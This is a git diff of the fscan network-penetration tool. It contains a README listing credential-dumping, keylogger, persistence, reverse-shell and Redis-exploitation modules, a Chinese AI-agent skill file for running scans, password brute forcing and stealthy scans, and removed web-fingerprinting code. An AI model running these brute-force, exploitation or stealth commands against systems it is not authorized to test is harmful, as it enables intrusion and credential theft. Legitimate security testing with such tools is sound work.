||||
|
||||
### Local Modules
|
||||
- **Info Gathering** - System info, environment variables, DC info, NIC config
|
||||
- **Credential Access** - Memory dump (MiniDump), keylogger, registry export
|
||||
- **Persistence** - Systemd service, Windows service, scheduled tasks, startup, LD_PRELOAD
|
||||
- **Reverse Shell** - Forward shell, reverse shell, SOCKS5 proxy service
|
||||
- **AV Detection** - Identify installed security software
|
||||
- **Trace Cleanup** - Log cleaning tool
|
||||
|
||||
### Input/Output
|
||||
- **Target Input** - IP/CIDR/domain/URL, batch file import
|
||||
- **Exclusion Rules** - Exclude specific hosts, ports
|
||||
- **Output Formats** - TXT/JSON/CSV multi-format output
|
||||
- **Silent Mode** - No banner, no progress bar, no color output
|
||||
|
||||
### Network Control
|
||||
- **Proxy Support** - HTTP/SOCKS5 proxy, network interface binding
|
||||
- **Rate Control** - Rate limiting, max packet count control
|
||||
- **Timeout Control** - Port/Web/Global timeout independent config
|
||||
- **Concurrency** - Port scan threads, service scan threads independent config
|
||||
|
||||
### Extensions
|
||||
- **Web Management UI** - Visual scan task management (build with -tags web)
|
||||
- **Lab Environment** - Built-in Docker lab for testing and learning
|
||||
- **Plugin Architecture** - Service/Web/Local plugins separated, easy to extend
|
||||
- **Multi-language** - Chinese/English interface (-lang zh/en)
|
||||
- **Performance Stats** - JSON format performance report (-perf)
|
||||
|
||||
## v2.1.0 Changelog
|
||||
|
||||
> This update includes **262 commits**: 30 new features, 120 fixes, 54 refactors, 14 performance optimizations, 20 test enhancements.
|
||||
|
||||
### Architecture Refactoring
|
||||
- **Global Variable Elimination** - Migrated to Config/State objects for better concurrency safety and testability
|
||||
- **SMB Plugin Consolidation** - Merged smb/smb2/smbghost/smbinfo into unified plugin with new smb_protocol.go
|
||||
- **Service Probe Refactoring** - Implemented Nmap-style fallback mechanism, optimized port fingerprint strategy
|
||||
- **Output System Refactoring** - TXT real-time flush + dual-write mechanism, resolved result loss and ordering issues
|
||||
- **i18n Framework Upgrade** - Migrated to go-i18n, full coverage of core/plugins/webscan modules
|
||||
- **HostInfo Refactoring** - Ports field changed from string to int for type safety
|
||||
- **Function Complexity Optimization** - clusterpoc (125→30), EnhancedPortScan (111→20)
|
||||
- **Code Audit** - Fixed P0-P2 level issues, cleaned up deadcode
|
||||
- **Logging System Optimization** - LogDebug call cleanup (71→18), streamlined startup log output
|
||||
|
||||
### Performance Optimization
|
||||
- **Regex Precompilation** - Global regex precompilation to avoid repeated compilation overhead
|
||||
- **Memory Optimization** - Changed map[string]bool to map[string]struct{} for memory savings
|
||||
- **Concurrent Fingerprint Matching** - Multi-goroutine parallel matching for faster identification
|
||||
- **Connection Reuse** - SOCKS5 global dialer reuse to avoid repeated handshakes
|
||||
- **Sliding Window Scheduling** - Adaptive thread pool + streaming iterator for port scan optimization
|
||||
- **CEL Cache Optimization** - POC scan CEL environment caching to reduce repeated initialization
|
||||
- **Package-level Variable Extraction** - proxyFailurePatterns/resourceExhaustedPatterns/sslSecondProbes etc.
|
||||
- **Capacity Pre-allocation** - Simplified conversion chains, single-pass string replacement
|
||||
- **Concurrency Safety Optimization** - Optimized lock granularity and memory allocation
|
||||
|
||||
### New Features
|
||||
- **Web Management UI** - Visual scan task management with responsive layout and progress display
|
||||
- **Multi-format POC Adapter** - Support for xray and afrog format POCs
|
||||
- **Smart Scan Mode** - Bloom filter deduplication + proxy optimization
|
||||
- **Enhanced Fingerprint Library** - Integrated FingerprintHub (3139 fingerprints)
|
||||
- **Favicon Fingerprinting** - Support for mmh3 and MD5 dual-format hash matching
|
||||
- **Universal Version Extractor** - Auto-extract service version information
|
||||
- **Fingerprint Priority Sorting** - Smart sorting of match results
|
||||
- **Smart Protocol Detection** - Auto-detect HTTP/HTTPS protocol type
|
||||
- **Network Interface Binding** - Support for VPN scenarios (-iface parameter)
|
||||
- **Exclude Hosts File** - Read excluded hosts from file (-ehf parameter)
|
||||
- **ICMP Token Bucket Rate Limiting** - Prevent router crashes from high-speed scanning
|
||||
- **Port Scan Retry** - Automatic retry mechanism for failed scans
|
||||
- **RDP Real Authentication** - Integrated grdp library for system fingerprinting
|
||||
- **SMB/FTP File Listing** - Auto-list files on anonymous access
|
||||
- **302 Redirect Dual Detection** - Identify fingerprints from both original and redirected responses
|
||||
- **TXT Output URL Summary** - Append web service URL list for batch testing
|
||||
- **gonmap Core Integration** - Three improvements: probe strategy/matching engine/version parsing
|
||||
- **Selective Plugin Compilation** - Build Tags system for independent service/local/web plugin compilation
|
||||
- **Default Port Expansion** - Extended from 62 to 133 common ports
|
||||
- **Full Port Scan Support** - Expanded port range limits
|
||||
- **HTTP Redirect Control** - Configurable redirect count limit
|
||||
- **Performance Profiling Support** - Added pprof profiling and benchmark tests
|
||||
- **TCP Packet Statistics** - Service plugins support TCP packet send statistics
|
||||
- **fscan-lab Environment** - Intranet penetration training platform covering all vulnerability scenarios
|
||||
- **Redis Exploitation Enhancement** - Ported complete Redis exploitation (write pubkey/crontab/webshell/master-slave RCE)
|
||||
- **rsync Plugin Refactoring** - Restructured authentication logic using go-rsync library
|
||||
|
||||
### Bug Fixes (120 items, key fixes listed)
|
||||
- **RDP Null Pointer Panic** - Fixed certificate parsing crash (#551)
|
||||
- **Batch Scan Missing Results** - Fixed large-scale scan omissions (#304)
|
||||
- **JSON Output Format** - Fixed output format errors (#446)
|
||||
- **Redis Weak Password Detection** - Fixed detection omissions (#447)
|
||||
- **Real-time Result Saving** - Fixed scan results not saved timely (#469)
|
||||
- **Nmap Parse Overflow** - Fixed octal escape parsing bug (#478)
|
||||
- **Fingerprint Race Condition** - Fixed webtitle/webpoc race issues (#474)
|
||||
- **MySQL Connection Validation** - Changed to information_schema for validation
|
||||
- **Proxy Port Misjudgment** - Fixed port status judgment in proxy mode
|
||||
- **Context Timeout** - Fixed 22 plugin timeout unresponsive issues
|
||||
- **ICMP Race Condition** - Fixed concurrent scan race issues
|
||||
- **IPv6 Address Format** - Fixed 4 address formatting issues
|
||||
- **POC High Concurrency Hang** - Fixed Context propagation issues
|
||||
- **Ctrl+C Result Loss** - Added signal handling for proper result saving
|
||||
- **SOCKS5 Echo Issue** - Added proxy connection validation
|
||||
- **Service Probe Leak** - Fixed connection not properly closed
|
||||
- **webtitle Response Discard** - Fixed partial response data being discarded causing identification failure
|
||||
- **TXT Vulnerability Info Missing** - Fixed output missing vulnerability details
|
||||
- **JSON Fingerprint Missing** - Unified SERVICE result Target format
|
||||
- **Scan Duration Display** - Fixed completion time showing as 0
|
||||
- **False Vulnerability Records** - Refactored TXT output system to eliminate false positives
|
||||
- **Redis Cross-platform Path** - Fixed exploitation path and timeout issues
|
||||
- **Windows Compilation Warnings** - Fixed fscan-lite platform compatibility
|
||||
- **Go 1.20 Compatibility** - Downgraded dependencies for compatibility
|
||||
|
||||
### Test Enhancements (20 items)
|
||||
- **Unit Tests** - Core module coverage at 74-100%
|
||||
- **Concurrency Safety Tests** - Dedicated tests for State object and fingerprint matching engine
|
||||
- **Integration Tests** - Web scan/port scan/service probe/SSH auth/ICMP probe
|
||||
- **CLI Parameter Tests** - Command-line argument parsing verification
|
||||
- **Performance Benchmarks** - AdaptivePool and service probe strategy benchmarks
|
||||
- **ResultBuffer Tests** - Deduplication and completeness scoring verification
|
||||
|
||||
### Engineering Improvements
|
||||
- **CI Pipeline Optimization** - Upgraded to golangci-lint v2, simplified build steps
|
||||
- **Issue Automation** - GitHub Issue template optimization, Project automation workflow
|
||||
- **Full Lint Fixes** - revive/errcheck/shadow/staticcheck/gosimple all passing
|
||||
- **README Rewrite** - Comprehensive Chinese and English documentation update
|
||||
- **Code Format Unification** - gofmt/goimports standardization
|
||||
|
||||
## Quick Start
|
||||
|
||||
```bash
|
||||
# Scan C-class network
|
||||
./fscan -h 192.168.1.1/24
|
||||
|
||||
# Specify ports
|
||||
./fscan -h 192.168.1.1 -p 22,80,443,3389
|
||||
|
||||
# Alive detection only
|
||||
./fscan -h 192.168.1.1/24 -ao
|
||||
|
||||
# Disable brute force
|
||||
./fscan -h 192.168.1.1/24 -nobr
|
||||
|
||||
# Web scanning
|
||||
./fscan -u http://192.168.1.1
|
||||
|
||||
# Local plugin
|
||||
./fscan -local systeminfo
|
||||
|
||||
# Hash authentication
|
||||
./fscan -h 192.168.1.1 -m smb2 -user admin -hash xxxxx
|
||||
|
||||
# Redis write pubkey
|
||||
./fscan -h 192.168.1.1 -m redis -rf id_rsa.pub
|
||||
```
|
||||
|
||||
## Build
|
||||
|
||||
```bash
|
||||
# Standard build
|
||||
go build -ldflags="-s -w" -trimpath -o fscan .
|
||||
|
||||
# With Web UI
|
||||
go build -tags web -ldflags="-s -w" -trimpath -o fscan-web .
|
||||
```
|
||||
|
||||
## Install
|
||||
|
||||
```bash
|
||||
# Arch Linux
|
||||
yay -S fscan-git
|
||||
```
|
||||
|
||||
## Screenshots
|
||||
|
||||
`fscan.exe -h 192.168.x.x`
|
||||

|
||||
|
||||

|
||||
|
||||
`fscan.exe -h 192.168.x.x -rf id_rsa.pub` (Redis write pubkey)
|
||||

|
||||
|
||||
`fscan.exe -h 192.168.x.x -m ssh -user root -pwd password`
|
||||

|
||||
|
||||
`fscan.exe -h 192.168.x.x -m ssh -user root -pwda pass1 pass2 pass3` (add multiple passwords)
|
||||
|
||||
`fscan.exe -h 192.168.x.x -p80 -proxy http://127.0.0.1:8080`
|
||||

|
||||
|
||||
`fscan.exe -h 192.168.x.x -socks5 socks5://user:[email protected]:1080` (SOCKS5 proxy with authentication)
|
||||
|
||||
`fscan.exe -h 192.168.x.x -p 139 -m netbios`
|
||||

|
||||
|
||||

|
||||
|
||||
`fscan.exe -h 192.0.0.0/8 -m icmp`
|
||||

|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
## Roadmap
|
||||
|
||||
### Release Schedule
|
||||
- **Release Cycle** - Monthly release
|
||||
- **First 2 Weeks** - New features and enhancements
|
||||
- **Last 2 Weeks** - Bug fixes and code integration
|
||||
- **PRs Welcome** - Contributions are appreciated!
|
||||
|
||||
### Plugin Ecosystem
|
||||
- Continuously expand service plugin coverage
|
||||
- Develop more vulnerability detection and exploitation capabilities for each service plugin
|
||||
- Maintain backward compatibility of plugin APIs to ensure legacy POCs remain functional
|
||||
|
||||
### Fscan-lite
|
||||
- Lightweight version rewritten in C
|
||||
- Smaller binary size, fewer dependencies
|
||||
- Support for embedded/restricted environments
|
||||
- Directory: [fscan-lite](./fscan-lite)
|
||||
|
||||
### Fscan-lab
|
||||
- Intranet penetration testing lab environment
|
||||
- Covers all vulnerability scenarios supported by fscan
|
||||
- Development testing and feature verification platform
|
||||
- Learning and practice environment for beginners
|
||||
- Directory: [fscan-lab](./fscan-lab)
|
||||
|
||||
## Disclaimer
|
||||
|
||||
This tool is intended for **legally authorized** enterprise security testing only. Obtain proper authorization, comply with local laws, **do not scan unauthorized targets**. The author assumes no liability for any illegal use.
|
||||
|
||||
## 404StarLink
|
||||
|
||||

|
||||
|
||||
fscan is a member of [404Team StarLink 2.0](https://github.com/knownsec/404StarLink2.0-Galaxy).
|
||||
|
||||
## Star History
|
||||
|
||||
[](https://starchart.cc/shadow1ng/fscan)
|
||||
|
||||
## Donate
|
||||
|
||||
[Buy the author a drink](image/sponsor.png)
|
||||
|
||||
## References
|
||||
|
||||
- https://github.com/Adminisme/ServerScan
|
||||
- https://github.com/netxfly/x-crack
|
||||
- https://github.com/hack2fun/Gscan
|
||||
- https://github.com/k8gege/LadonGo
|
||||
- https://github.com/jjf012/gopoc
|
||||
- https://github.com/chainreactors/gogo
|
||||
- https://github.com/0x727/FingerprintHub
|
||||
- https://github.com/killmonday/fscanx
|
||||
@@ -0,0 +1,304 @@
|
||||
---
|
||||
name: fscan-agent
|
||||
description: 使用 fscan 进行网络扫描和安全评估。当用户要求扫描网段、探测主机存活、发现开放端口、识别服务、检测漏洞或弱口令时使用。支持 NDJSON 结构化输出,适合 AI agent 管道消费。
|
||||
argument-hint: <目标IP/网段> [附加参数]
|
||||
allowed-tools: Bash, Read, Agent
|
||||
---
|
||||
|
||||
# Fscan AI Agent Skill
|
||||
|
||||
## 工具概述
|
||||
|
||||
Fscan 是一款内网综合扫描工具,功能包括:
|
||||
- 主机存活探测(ICMP / TCP)
|
||||
- 端口扫描与服务识别
|
||||
- 漏洞检测(MS17-010、Redis 未授权等)
|
||||
- 弱口令爆破(SSH、SMB、MySQL、MSSQL、FTP、RDP 等)
|
||||
- Web 指纹识别与 POC 扫描
|
||||
- NetBIOS / SMB 信息收集
|
||||
- 本地信息收集(杀软检测、系统信息等)
|
||||
|
||||
二进制路径:当前项目编译产物 `fscan_cli`,或系统 PATH 中的 `fscan`。
|
||||
|
||||
## 调用格式
|
||||
|
||||
```bash
|
||||
# AI agent 标准用法:NDJSON 输出,无人类日志干扰
|
||||
fscan -h <目标> -silent [其他参数]
|
||||
|
||||
# 解析输出
|
||||
fscan -h 192.168.1.0/24 -silent | jq 'select(.type=="VULN")'
|
||||
```
|
||||
|
||||
## 核心参数
|
||||
|
||||
### 目标指定
|
||||
|
||||
| 参数 | 说明 | 示例 |
|
||||
|------|------|------|
|
||||
| `-h` | 目标主机(IP / CIDR / 范围) | `-h 192.168.1.0/24` `-h 10.0.0.1-10.0.0.100` |
|
||||
| `-hf` | 从文件读取目标 | `-hf targets.txt` |
|
||||
| `-p` | 指定端口(逗号/范围) | `-p 22,80,443,445,3306` `-p 1-1000` |
|
||||
| `-ep` | 排除端口 | `-ep 25,110` |
|
||||
| `-eh` | 排除主机 | `-eh 192.168.1.1` |
|
||||
| `-u` | 指定 URL(Web 扫描) | `-u https://example.com` |
|
||||
| `-uf` | URL 文件 | `-uf urls.txt` |
|
||||
|
||||
### 扫描控制
|
||||
|
||||
| 参数 | 说明 | 默认值 |
|
||||
|------|------|--------|
|
||||
| `-m` | 扫描模式 | `all` |
|
||||
| `-t` | 端口扫描线程数 | `600` |
|
||||
| `-mt` | 模块线程数 | `20` |
|
||||
| `-time` | 连接超时(秒) | `3` |
|
||||
| `-gt` | 全局超时(秒,0 表示不限制) | `0` |
|
||||
| `-np` | 跳过存活检测 | `false` |
|
||||
| `-ntp` | 禁用 TCP 补充探测 | `false` |
|
||||
| `-ao` | 仅存活检测 | `false` |
|
||||
| `-nobr` | 禁用暴力破解 | `false` |
|
||||
| `-full` | 全量 POC 扫描 | `false` |
|
||||
| `-max-retries` | 最大重试次数 | `1` |
|
||||
|
||||
### 认证
|
||||
|
||||
| 参数 | 说明 |
|
||||
|------|------|
|
||||
| `-user` | 用户名 |
|
||||
| `-pwd` | 密码 |
|
||||
| `-usera` | 追加用户名 |
|
||||
| `-pwda` | 追加密码,支持逗号或空格分隔多个值 |
|
||||
| `-userf` | 用户名字典文件 |
|
||||
| `-pwdf` | 密码字典文件 |
|
||||
| `-domain` | 域名(SMB/WMI) |
|
||||
| `-sshkey` | SSH 私钥文件 |
|
||||
| `-hash` / `-hashf` | NTLM Hash / Hash 文件 |
|
||||
|
||||
### 代理
|
||||
|
||||
| 参数 | 说明 |
|
||||
|------|------|
|
||||
| `-socks5` | SOCKS5 代理 (`127.0.0.1:1080`) |
|
||||
| `-proxy` | HTTP 代理 (`http://127.0.0.1:8080`) |
|
||||
| `-iface` | 指定本地网卡 IP(VPN 场景) |
|
||||
|
||||
### 输出
|
||||
|
||||
| 参数 | 说明 |
|
||||
|------|------|
|
||||
| `-silent` | 静默模式:stdout 仅输出 NDJSON |
|
||||
| `-o` | 输出文件路径(默认 `result.txt`) |
|
||||
| `-f` | 输出格式:`txt` / `json` / `csv` |
|
||||
| `-no` | 禁用文件保存 |
|
||||
| `-debug` | 调试模式:日志写入 `fscan_debug.log` |
|
||||
| `-log` | 日志级别(`debug` / `info` / `base` / `error`) |
|
||||
|
||||
### 扫描模式 `-m` 的取值
|
||||
|
||||
| 值 | 说明 |
|
||||
|------|------|
|
||||
| `all` | 全部扫描(默认) |
|
||||
| `icmp` | 仅 ICMP 存活检测 |
|
||||
| 插件名 | 仅运行指定插件(如 `ssh`、`smb`、`ms17010`、`webtitle`) |
|
||||
|
||||
## 服务插件列表
|
||||
|
||||
| 插件 | 默认端口 | 功能 |
|
||||
|------|----------|------|
|
||||
| `ftp` | 21 | FTP 弱口令 |
|
||||
| `ssh` | 22 | SSH 弱口令 |
|
||||
| `telnet` | 23 | Telnet 弱口令 |
|
||||
| `smtp` | 25 | SMTP 弱口令 |
|
||||
| `findnet` | 135 | RPC 网络信息发现(NetInfo) |
|
||||
| `netbios` | 139 | NetBIOS 信息收集 |
|
||||
| `smb` | 445 | SMB 弱口令 |
|
||||
| `ms17010` | 445 | MS17-010 永恒之蓝检测 |
|
||||
| `ldap` | 389 | LDAP 弱口令 |
|
||||
| `mssql` | 1433 | MSSQL 弱口令 |
|
||||
| `oracle` | 1521 | Oracle 弱口令 |
|
||||
| `mysql` | 3306 | MySQL 弱口令 |
|
||||
| `rdp` | 3389 | RDP 弱口令 + 系统信息 |
|
||||
| `postgresql` | 5432 | PostgreSQL 弱口令 |
|
||||
| `vnc` | 5900 | VNC 弱口令 |
|
||||
| `redis` | 6379 | Redis 未授权 + 弱口令 |
|
||||
| `elasticsearch` | 9200 | ES 未授权 |
|
||||
| `mongodb` | 27017 | MongoDB 未授权 + 弱口令 |
|
||||
| `memcached` | 11211 | Memcached 未授权 |
|
||||
| `kafka` | 9092 | Kafka 未授权 |
|
||||
| `activemq` | 61616 | ActiveMQ 弱口令 |
|
||||
| `rabbitmq` | 5672 | RabbitMQ 弱口令 |
|
||||
| `cassandra` | 9042 | Cassandra 弱口令 |
|
||||
| `neo4j` | 7687 | Neo4j 弱口令 |
|
||||
| `rsync` | 873 | Rsync 未授权 |
|
||||
| `webtitle` | 80/443 | Web 标题 + 指纹识别 |
|
||||
| `webpoc` | 80/443 | Web 漏洞 POC |
|
||||
|
||||
## 本地插件(`-local`)
|
||||
|
||||
```bash
|
||||
fscan -local avdetect # 杀软检测
|
||||
fscan -local systeminfo # 系统信息收集
|
||||
fscan -local envinfo # 环境变量信息
|
||||
fscan -local dcinfo # 域控信息
|
||||
fscan -local fileinfo # 敏感文件搜索
|
||||
```
|
||||
|
||||
## NDJSON 输出 Schema(`-silent` 模式)
|
||||
|
||||
每行一个 JSON 对象,所有字段定义:
|
||||
|
||||
| 字段 | 类型 | 出现条件 | 说明 |
|
||||
|------|------|----------|------|
|
||||
| `type` | string | 必有 | `HOST` / `PORT` / `SERVICE` / `VULN` |
|
||||
| `target` | string | 必有 | 原始目标 `host` 或 `host:port` |
|
||||
| `status` | string | 必有 | 状态描述 |
|
||||
| `host` | string | 必有 | IP 地址 |
|
||||
| `port` | int | PORT/SERVICE/VULN | 端口号 |
|
||||
| `service` | string | SERVICE/VULN | 服务名(ssh, smb, http 等) |
|
||||
| `protocol` | string | HOST/SERVICE | 协议(ICMP, TCP, http, https) |
|
||||
| `banner` | string | SERVICE | 服务 Banner |
|
||||
| `title` | string | SERVICE (web) | 网页标题 |
|
||||
| `url` | string | SERVICE (web) | 完整 URL |
|
||||
| `vulnerability` | string | VULN | 漏洞名称 |
|
||||
| `username` | string | VULN (弱口令) | 用户名 |
|
||||
| `password` | string | VULN (弱口令) | 密码 |
|
||||
| `plugin` | string | SERVICE/VULN | 产生结果的插件名 |
|
||||
| `version` | string | SERVICE | 服务版本号 |
|
||||
| `os` | string | SERVICE | 操作系统信息 |
|
||||
|
||||
### 输出示例
|
||||
|
||||
```jsonl
|
||||
{"type":"HOST","target":"192.168.1.5","status":"alive","host":"192.168.1.5","protocol":"ICMP"}
|
||||
{"type":"PORT","target":"192.168.1.5","status":"open","host":"192.168.1.5","port":22}
|
||||
{"type":"PORT","target":"192.168.1.5","status":"open","host":"192.168.1.5","port":445}
|
||||
{"type":"SERVICE","target":"192.168.1.5:22","status":"identified","host":"192.168.1.5","port":22,"service":"ssh","banner":"SSH-2.0-OpenSSH_8.9p1","version":"8.9p1","plugin":"portscan"}
|
||||
{"type":"SERVICE","target":"192.168.1.5:80","status":"web","host":"192.168.1.5","port":80,"service":"http","protocol":"http","url":"http://192.168.1.5:80","title":"Welcome","plugin":"webtitle"}
|
||||
{"type":"VULN","target":"192.168.1.5:445","status":"MS17-010 (Windows Server 2012 R2 Standard 9600)","host":"192.168.1.5","port":445,"vulnerability":"MS17-010","service":"smb","plugin":"ms17010"}
|
||||
{"type":"VULN","target":"192.168.1.5:22","status":"weak_credential: root:123456","host":"192.168.1.5","port":22,"service":"ssh","username":"root","password":"123456","plugin":"ssh"}
|
||||
{"type":"VULN","target":"192.168.1.5:6379","status":"Redis unauthorized","host":"192.168.1.5","port":6379,"vulnerability":"Redis unauthorized access","service":"redis","plugin":"redis"}
|
||||
```
|
||||
|
||||
### 结果产出顺序
|
||||
|
||||
1. `HOST` — 存活探测阶段
|
||||
2. `PORT` — 端口扫描阶段(与 SERVICE 可能交错)
|
||||
3. `SERVICE` — 服务识别阶段
|
||||
4. `VULN` — 漏洞/弱口令检测阶段
|
||||
|
||||
同一 `host:port` 可产生多条结果(PORT + SERVICE + VULN)。
|
||||
|
||||
## 常用场景参数组合
|
||||
|
||||
### 全网段快速扫描
|
||||
|
||||
```bash
|
||||
fscan -h 192.168.1.0/24 -silent
|
||||
```
|
||||
|
||||
### 跳过存活检测直接扫端口(目标明确时)
|
||||
|
||||
```bash
|
||||
fscan -h 192.168.1.0/24 -silent -np
|
||||
```
|
||||
|
||||
### 指定端口精确扫描
|
||||
|
||||
```bash
|
||||
fscan -h 10.0.0.0/24 -silent -p 22,80,443,445,3389,3306,6379
|
||||
```
|
||||
|
||||
### 仅存活探测
|
||||
|
||||
```bash
|
||||
fscan -h 172.16.0.0/16 -silent -m icmp
|
||||
```
|
||||
|
||||
### 低速隐蔽扫描
|
||||
|
||||
```bash
|
||||
fscan -h 192.168.1.0/24 -silent -t 30 -time 5
|
||||
```
|
||||
|
||||
### 通过 SOCKS5 代理扫描内网
|
||||
|
||||
```bash
|
||||
fscan -h 10.0.0.0/24 -silent -socks5 127.0.0.1:1080
|
||||
```
|
||||
|
||||
### 仅做弱口令检测
|
||||
|
||||
```bash
|
||||
fscan -h 192.168.1.10 -silent -m ssh -user root -pwdf /path/to/passwords.txt
|
||||
```
|
||||
|
||||
### Web 目标扫描
|
||||
|
||||
```bash
|
||||
fscan -u https://target.com -silent -full
|
||||
```
|
||||
|
||||
### 多目标文件批量扫描
|
||||
|
||||
```bash
|
||||
fscan -hf targets.txt -silent -o results.json -f json
|
||||
```
|
||||
|
||||
### 带调试日志的排障扫描
|
||||
|
||||
```bash
|
||||
# NDJSON 到 stdout,debug 日志到文件,互不干扰
|
||||
fscan -h 192.168.1.0/24 -silent -debug
|
||||
# 事后查看:cat fscan_debug.log
|
||||
```
|
||||
|
||||
## AI Agent 结果处理
|
||||
|
||||
### Python 管道消费
|
||||
|
||||
```python
|
||||
import json, subprocess
|
||||
|
||||
proc = subprocess.Popen(
|
||||
["fscan", "-h", "192.168.1.0/24", "-silent"],
|
||||
stdout=subprocess.PIPE, text=True
|
||||
)
|
||||
|
||||
hosts, services, vulns = [], [], []
|
||||
for line in proc.stdout:
|
||||
r = json.loads(line)
|
||||
if r["type"] == "HOST":
|
||||
hosts.append(r["host"])
|
||||
elif r["type"] == "SERVICE":
|
||||
services.append(r)
|
||||
elif r["type"] == "VULN":
|
||||
vulns.append(r)
|
||||
|
||||
proc.wait()
|
||||
```
|
||||
|
||||
### jq 过滤
|
||||
|
||||
```bash
|
||||
# 提取所有弱口令
|
||||
fscan -h 10.0.0.0/24 -silent | jq -r 'select(.username != null) | "\(.host):\(.port) \(.service) \(.username):\(.password)"'
|
||||
|
||||
# 提取所有漏洞
|
||||
fscan -h 10.0.0.0/24 -silent | jq -r 'select(.type=="VULN") | "\(.host):\(.port) \(.vulnerability)"'
|
||||
|
||||
# 提取 Web 服务
|
||||
fscan -h 10.0.0.0/24 -silent | jq -r 'select(.url != null) | "\(.url) \(.title)"'
|
||||
|
||||
# 统计开放端口
|
||||
fscan -h 10.0.0.0/24 -silent | jq -r 'select(.type=="PORT") | .port' | sort -n | uniq -c | sort -rn
|
||||
```
|
||||
|
||||
## 注意事项
|
||||
|
||||
- `-silent` 抑制所有人类可读日志,stdout 仅输出 NDJSON
|
||||
- 空字段不出现在 JSON 中(`omitempty`)
|
||||
- 进程退出码 `0` 正常完成,非 `0` 表示参数错误或初始化失败
|
||||
- `-silent` 和 `-debug` 可同时使用,互不干扰
|
||||
- SOCKS5 代理下 fscan 信任协议层连接结果,不做额外深度验证
|
||||
- 扫描大网段时线程数会自动调整,资源耗尽时自适应降级
|
||||
- 默认超时 3 秒,防火墙 drop 的端口会静默超时,不计入失败率
|
||||
@@ -1,69 +0,0 @@
|
||||
package WebScan
|
||||
|
||||
import (
|
||||
"crypto/md5"
|
||||
"fmt"
|
||||
"github.com/shadow1ng/fscan/WebScan/info"
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"regexp"
|
||||
"strings"
|
||||
)
|
||||
|
||||
type CheckDatas struct {
|
||||
Body []byte
|
||||
Headers string
|
||||
}
|
||||
|
||||
func InfoCheck(Url string, CheckData []CheckDatas) {
|
||||
var matched bool
|
||||
var infoname []string
|
||||
|
||||
for _, data := range CheckData {
|
||||
for _, rule := range info.RuleDatas {
|
||||
if rule.Type == "code" {
|
||||
matched, _ = regexp.MatchString(rule.Rule, string(data.Body))
|
||||
} else {
|
||||
matched, _ = regexp.MatchString(rule.Rule, data.Headers)
|
||||
}
|
||||
if matched == true {
|
||||
infoname = append(infoname, rule.Name)
|
||||
}
|
||||
}
|
||||
flag, name := CalcMd5(data.Body)
|
||||
|
||||
if flag == true {
|
||||
infoname = append(infoname, name)
|
||||
}
|
||||
}
|
||||
|
||||
infostr := RemoveMore(infoname)
|
||||
|
||||
if len(infoname) > 0 {
|
||||
result := fmt.Sprintf("[+] InfoScan:%-25v %s ", Url, infostr)
|
||||
common.LogSuccess(result)
|
||||
}
|
||||
}
|
||||
|
||||
func CalcMd5(Body []byte) (bool, string) {
|
||||
has := md5.Sum(Body)
|
||||
md5str := fmt.Sprintf("%x", has)
|
||||
for _, md5data := range info.Md5Datas {
|
||||
if md5str == md5data.Md5Str {
|
||||
return true, md5data.Name
|
||||
}
|
||||
}
|
||||
return false, ""
|
||||
}
|
||||
|
||||
func RemoveMore(a []string) (infostr string) {
|
||||
var ret []string
|
||||
for i := 0; i < len(a); i++ {
|
||||
if (i > 0 && a[i-1] == a[i]) || len(a[i]) == 0 {
|
||||
continue
|
||||
}
|
||||
ret = append(ret, a[i])
|
||||
}
|
||||
infostr = strings.ReplaceAll(fmt.Sprintf("%s ", ret), "[", "")
|
||||
infostr = strings.ReplaceAll(infostr, "]", "")
|
||||
return
|
||||
}
|
||||
@@ -1,35 +0,0 @@
|
||||
package WebScan
|
||||
|
||||
import (
|
||||
"embed"
|
||||
"fmt"
|
||||
"github.com/shadow1ng/fscan/WebScan/lib"
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"net/http"
|
||||
)
|
||||
|
||||
//go:embed pocs
|
||||
var Pocs embed.FS
|
||||
|
||||
func WebScan(info *common.HostInfo) {
|
||||
var pocinfo = common.Pocinfo
|
||||
pocinfo.Target = info.Url
|
||||
err := Execute(pocinfo)
|
||||
if err != nil {
|
||||
errlog := fmt.Sprintf("[-] webtitle %v %v", info.Url, err)
|
||||
common.LogError(errlog)
|
||||
}
|
||||
}
|
||||
|
||||
func Execute(PocInfo common.PocInfo) error {
|
||||
req, err := http.NewRequest("GET", PocInfo.Target, nil)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
req.Header.Set("User-agent", "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1468.0 Safari/537.36")
|
||||
if PocInfo.Cookie != "" {
|
||||
req.Header.Set("Cookie", PocInfo.Cookie)
|
||||
}
|
||||
lib.CheckMultiPoc(req, Pocs, PocInfo.Num, PocInfo.PocName)
|
||||
return nil
|
||||
}
|
||||
@@ -1,156 +0,0 @@
|
||||
package info
|
||||
|
||||
type RuleData struct {
|
||||
Name string
|
||||
Type string
|
||||
Rule string
|
||||
}
|
||||
|
||||
type Md5Data struct {
|
||||
Name string
|
||||
Md5Str string
|
||||
}
|
||||
|
||||
var RuleDatas = []RuleData{
|
||||
{"Shiro", "headers", "(=deleteMe|rememberMe=)"},
|
||||
{"Portainer(Docker管理)", "code", "(portainer.updatePassword|portainer.init.admin)"},
|
||||
{"Gogs简易Git服务", "cookie", "(i_like_gogs)"},
|
||||
{"Gitea简易Git服务", "cookie", "(i_like_gitea)"},
|
||||
{"宝塔-BT.cn", "code", "(app.bt.cn/static/app.png|安全入口校验失败)"},
|
||||
{"Nexus", "code", "(Nexus Repository Manager)"},
|
||||
{"Nexus", "cookie", "(NX-ANTI-CSRF-TOKEN)"},
|
||||
{"Harbor", "code", "(<title>Harbor</title>)"},
|
||||
{"Harbor", "cookie", "(harbor-lang)"},
|
||||
{"禅道", "code", "(/theme/default/images/main/zt-logo.png)"},
|
||||
{"禅道", "cookie", "(zentaosid)"},
|
||||
{"协众OA", "code", "(Powered by 协众OA)"},
|
||||
{"协众OA", "cookie", "(CNOAOASESSID)"},
|
||||
{"xxl-job", "code", "(分布式任务调度平台XXL-JOB)"},
|
||||
{"atmail-WebMail", "cookie", "(atmail6)"},
|
||||
{"atmail-WebMail", "code", "(Powered by Atmail)"},
|
||||
{"atmail-WebMail", "code", "(/index.php/mail/auth/processlogin)"},
|
||||
{"weblogic", "code", "(/console/framework/skins/wlsconsole/images/login_WebLogic_branding.png|Welcome to Weblogic Application Server|<i>Hypertext Transfer Protocol -- HTTP/1.1</i>)"},
|
||||
